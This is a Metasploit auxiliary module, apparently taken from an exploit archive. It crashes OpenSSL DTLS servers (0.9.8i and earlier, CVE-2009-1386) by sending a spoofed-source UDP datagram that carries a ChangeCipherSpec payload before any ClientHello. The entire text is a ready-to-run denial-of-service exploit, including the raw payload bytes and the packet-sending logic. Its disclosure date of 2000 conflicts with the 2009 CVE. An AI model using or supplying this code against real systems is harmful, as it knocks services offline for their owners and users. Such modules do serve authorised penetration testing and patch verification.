OpenSSL DTLS ChangeCipherSpec Remote Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Dos  
include Msf::Exploit::Capture  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OpenSSL DTLS ChangeCipherSpec Remote DoS',  
'Description' => %q{  
This module performs a Denial of Service Attack against Datagram TLS in OpenSSL  
version 0.9.8i and earlier. OpenSSL crashes under these versions when it receives a  
ChangeCipherspec Datagram before a ClientHello.  
},  
'Author' => [  
'Jon Oberheide <jon[at]oberheide.org>', #original code  
'theLightCosine' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2009-1386' ],  
[ 'OSVDB', '55073'],  
],  
'DisclosureDate' => '2000-04-26'))  
  
register_options([  
Opt::RPORT(80),  
Opt::RHOST  
]  
)  
  
deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')  
end  
  
def run  
open_pcap  
print_status("Creating DTLS ChangeCipherSpec Datagram...")  
p = PacketFu::UDPPacket.new  
p.ip_daddr = datastore['RHOST']  
p.ip_src = rand(0x100000000)  
p.ip_ttl = 44  
p.udp_sport = 34060  
p.udp_dport = datastore['RPORT'].to_i  
p.payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"  
p.recalc  
print_status("Sending Datagram to target...")  
capture_sendto(p, '255.255.255.255')  
close_pcap  
end  
end  
`